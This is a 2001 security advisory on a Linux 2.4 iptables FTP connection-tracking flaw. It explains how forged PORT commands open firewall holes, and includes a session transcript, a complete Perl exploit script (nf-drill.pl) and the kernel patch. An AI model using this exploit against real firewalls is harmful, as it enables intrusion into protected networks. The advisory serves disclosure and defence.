Firewalls using Linux Kernel 2.4.x with IPTables - rules can be inserted

Vulnerability
IPTables
Affected
Firewalls using Linux Kernel 2.4.x with IPTables
Description
Cristiano Lincoln Mattos found following. If an attacker can
establish an FTP connection passing through a Linux 2.4.x
IPTables firewall with the state options allowing "related"
connections (almost 100% do), he can insert entries into the
firewall's RELATED ruleset table allowing the FTP Server to
connect to any host and port protected by the firewalls rules,
including the firewall itself.
Linux 2.4.x includes NetFilter, a raw framework for filtering and
mangling packets. IPTables, used for firewalling, is set inside
the NetFilter framework. One of the new features in this setting
is connection tracking, known to some as "stateful inspection".
The four possible states it can mantain are: ESTABLISHED, NEW,
RELATED and INVALID. We are interested here in the RELATED state
-- it includes, among other things, the FTP DATA connections,
active (PORT command) and passive (PASV command).
The module ip_conntrack_ftp is responsible for analysing FTP
connections that pass through the firewall, looking for PORT and
PASV commands, and including entries for those connections in the
firewall's connection table. There is a security flaw in the
manner in which the PORT command is interpreted and processed.
Essentially, you can pass any IP/port in an FTP PORT commmand,
and the module will not validate these parameters, adding an
entry to the RELATED ruleset allowing connections from the FTP
server, any source port, to the specified destination IP and port.
In most cases, people make stringent security rules and have lax
firewall rules regarding RELATED connections, allowing the
attacker to connect to anywhere.
This can be used, for example, for the FTP server to connect to
any TCP port on the firewall, or any other node protected by the
firewall. Even though there may be rules normally denying this
type of traffic, it would pass through the firewall, because of
the rule allowing RELATED. The attacker does not even need to
have a valid login in the FTP server, as the PORT command is
interpreted by the module independently of any authentication
procedures (USER and PASS).
This is a security flaw which can be exploited when an attacker
is in a position behind your firewall, i.e., "protected". For
example, if your firewall protects an FTP Server and the attacker
has compromised it by other means, he can use this to connect to
other protected networks. Or, if your attacker is behind your
firewall as a client and connects to an FTP server on the
Internet, he can use it to allow this FTP server to connect to
other protected networks.
Most firewall setups using IPTables include the following rule,
for allowing established and related connections through:
iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT
The "related" state includes connections such as the FTP data
transfer connections, both active and passive modes. If related
connections and FTP are allowed through the firewall, then the
system is most likely vulnerable.
The attack consists in connecting to the FTP server (passing
through the firewall) and using the PORT commands with arbitrary
IP and port parameters - the normal parameters should be the
client's IP and a random port.
To explain the process in more details, we'll outline the
following scenario:
- Client IP: 200.249.243.12, an IP on the internet
- Firewall: 200.249.137.1 (internet interface)
200.249.193.1 (DMZ interface)
- FTP server:200.249.193.2 (inside a DMZ network, protected
by the firewall)
In a normal ftp data transfer, the client would emit the following
command to initiate an active data transfer:
PORT 200,249,243,12,4,10
Which would insert an entry in the connection table (cat
/proc/net/ip_conntrack), of the following form:
EXPECTING: proto=6 src=200.249.193.2 dst=200.249.243.12 sport=0 dport=1034
Allowing a connection from the FTP server to the client in the
specified port. Since the module ip_conntrack_ftp doesn't check
the passed IP and ports, an attacker can pass the following
parameters:
PORT 200,249,193,1,0,22
Which would insert an entry in the connection table (cat
/proc/net/ip_conntrack), of the following form:
EXPECTING: proto=6 src=200.249.193.2 dst=200.249.193.1 sport=0 dport=22
Allowing a connection from the FTP server to the firewall, on port
22, ie, the SSH port. This will work by inserting the rule into
the RELATED ruleset, which as shown above is normally too open.
The rule can be inserted to any destination IP and port.
Of course, the FTP server will probably not accept the command (if
it has anti-bounce protection), saying "Illegal PORT command", but
the firewall will have interpreted the commands and added an
"expecting related" entry as described above to its connection
table. The attacker will then have ten seconds to establish the
connection, before the entry expires and is removed from the
connection table.
It is not even necessary to have logged in the FTP server since
the module doesn't check for valid USER and PASS commands. All
we have to do is trick the code into thinking we have established
a connection (IP_CT_ESTABLISHED+IP_CT_IS_REPLY). To do that, it
is only necessary to send any string to the FTP server, which
should reply with "invalid command", and then we send the PORT
command with our parameters... the FTP server will probably be
complaining that a login has not been established yet, but the
firewall will have done what we want it to:
220 tsunami FTP server ready.
xxxgarbagexxx
530 Please login with USER and PASS.
PORT 200,249,193,1,0,22
530 Please login with USER and PASS.
QUIT
221 Goodbye.
The implications should be obvious -- we outline two main
scenarios of attack:
* The FTP server is protected by the firewall: in this case, the
client (attacker) would be on the internet. If the FTP server
is compromised by the attacker using other means, the attacker
can insert rules allowing the FTP server to:
- Connect to hosts on the internet, for downloading of trojans,
tools, reverse tunnels, etc;
- Connect to the firewall itself and exploit it from there
onwards;
- Connect to other hosts on networks protected by the firewall,
such as an internal network, for example;
- ... use your imagination :)
* The client (attacker) is protected by the firewall: in this
case, the client would connect to an FTP server that he controls
on another network such as the internet (as long as the
connection passes through the firewall). The attacker would
insert rules allowing the FTP server that he controls to:
- Connect to the firewall itself and attack it from there
onwards;
- Connect to other hosts on networks protected by the firewall,
such as a DMZ or other networks for example;
- ... again, use your imagination :)
A few observations:
- From tests, the use of NAT (NAT of the FTP server, NAT of the
client and NAT of the target) doesn't stop the attack in anyway.
Of course, the attacker will only have to pay attention to which
IP he is connecting to, but the entries are inserted into the
connection table anyway.
- By default, the ip_conntrack_ftp module only analyses FTP
control connections on port 21, so this would only work on
connections to FTP servers binding on port 21. Unless,
obviously, the module were configured to listen on another port
as well.
- This should not need to be said, but this attack bypasses the
firewall rules by inserting an entry into the ruleset for
RELATED connections -- for the attack to work, there must be a
rule allowing the client to connect to an FTP server (through
the firewall) in the first place, and the rule allowing the
RELATED state for the specified connection. This is a very
common setting, as most firewalls allow their clients to perform
FTP, and the too-open RELATED rule is also very common -- we've
seen it an lots of IPTables FAQs, guides, lists, etc.
Exploiting this flaw is so simple that you can do it easily
manually, with telnet. Anyhow, here is a perl script to automate
the procedures:
#!/usr/bin/perl
#
# nf-drill.pl --- "Drill" holes open in Linux iptables connection table
# Author: Cristiano Lincoln Mattos <lincoln@cesar.org.br>, 2001
#
# Advisory: http://www.tempest.com.br/advisories/linux-iptables
#
# Tempest Security Technologies - a business unit of:
# CESAR - Centro de Estudos e Sistemas Avancados do Recife
#
# This code is licensed under the GPL.
#
use Socket;
use Getopt::Long;
use strict;
# Option variables
my $server;
my $serverport = 21;
my $host;
my $port;
my $verbose = 0;
# Print function
sub out {
my ($level,$text) = @_;
if (!$level || ($level && $verbose)) { print "$text"; }
}
my $opt = GetOptions("server=s" => \$server,
"serverport=s" => \$serverport,
"host=s" => \$host,
"port=i" => \$port,
"verbose" => \$verbose);
if ($server eq "" || $host eq "" || $port eq "" || $port < 0 || $port > 65535) {
print "Usage: $0 --server <ftp> [--serverport <port>] --host <target> --port <port> [--verbose]\n";
print " - server: specifies the FTP server (IP or hostname) to connect to\n";
print " - serverport: specifies the port of the FTP server -- default: 21\n";
print " - host: the IP of the target to open in the connection table\n";
print " - port: the port of the target to open in the connection table\n";
print " - verbose: sets verbose mode\n";
exit(0);
}
print "\n nf-blast.pl -- Cristiano Lincoln Mattos <lincoln\@cesar.org.br>, 2001\n";
print " Tempest Security Technologies\n\n";
# For the meanwhile, expecting an IP
my @ip = split(/\./,$host);
my $str = "PORT " . $ip[0] . "," . $ip[1] . "," . $ip[2] . "," . $ip[3] . "," . ($port >> 8) . "," . ($port %
256) . "\r\n";
# Socket init
my $ipn = inet_aton($server);
if (!$ipn) {
out(0," Error: could not convert $server\n");
exit(0);
}
my $sin = sockaddr_in($serverport,$ipn);
socket(Sock,PF_INET,SOCK_STREAM,6);
if (!connect(Sock,$sin)) {
out(0," Error: could not connect to $server:$serverport.\n");
exit(0);
}
out(0," - Connected to $server:$serverport\n");
my $buf;
recv(Sock,$buf,120,0); chomp($buf);
out(1," - RECV: $buf\n");
# First send a dummy one, just to establish the connection in the iptables logic
send(Sock,$str,0);
out(1," - SEND: $str");
recv(Sock,$buf,120,0); chomp($buf);
out(1," - RECV: $buf\n");
# Now, send the one that will insert itself into the connection table
send(Sock,$str,0);
out(1," - SEND: $str");
recv(Sock,$buf,120,0); chomp($buf);
out(1," - RECV: $buf\n");
out(0," * $server should now be able to connect to $host on port $port ! (for the next 10 seconds)\n");
out(0," - Closing connection to $server:$serverport.\n\n");
close(Sock);
Solution
First and foremost, you should tighten your firewall rules to
limit the scope of this vulnerability, by only allowing RELATED
connections to the hosts that really need them, and not to all
connections. The NetFilter core team was notified and quickly
developed a patch. It is available at:
http://netfilter.samba.org/security-fix/
http://netfilter.gnumonks.org/security-fix/
http://netfilter.filewatcher.org/security-fix/
Since it is small, it's included here:
diff -urN linux-2.4.3.orig/net/ipv4/netfilter/ip_conntrack_ftp.c linux/net/ipv4/netfilter/ip_conntrack_ftp.c
--- linux-2.4.3.orig/net/ipv4/netfilter/ip_conntrack_ftp.c Fri Aug 11 05:35:15 2000
+++ linux/net/ipv4/netfilter/ip_conntrack_ftp.c Mon Apr 16 02:18:30 2001
@@ -187,7 +187,12 @@
(int)matchlen, data + matchoff,
matchlen, ntohl(tcph->seq) + matchoff);
- /* Update the ftp info */
+ /*
+ * Update the ftp info only if the source address matches the address specified
+ * in the PORT or PASV command. Closes hole where packets could be dangerously
+ * marked as RELATED to bypass filtering rules. Thanks to Cristiano Lincoln
+ * Mattos <lincoln@cesar.org.br> for the report.
+ */
LOCK_BH(&ip_ftp_lock);
if (htonl((array[0] << 24) | (array[1] << 16) | (array[2] << 8) | array[3])
== ct->tuplehash[dir].tuple.src.ip) {
@@ -197,13 +202,8 @@
info->ftptype = dir;
info->port = array[4] << 8 | array[5];
} else {
- /* Enrico Scholz's passive FTP to partially RNAT'd ftp
- server: it really wants us to connect to a
- different IP address. Simply don't record it for
- NAT. */
- DEBUGP("conntrack_ftp: NOT RECORDING: %u,%u,%u,%u != %u.%u.%u.%u\n",
- array[0], array[1], array[2], array[3],
- NIPQUAD(ct->tuplehash[dir].tuple.src.ip));
+ UNLOCK_BH(&ip_ftp_lock);
+ return NF_ACCEPT;
}
t = ((struct ip_conntrack_tuple)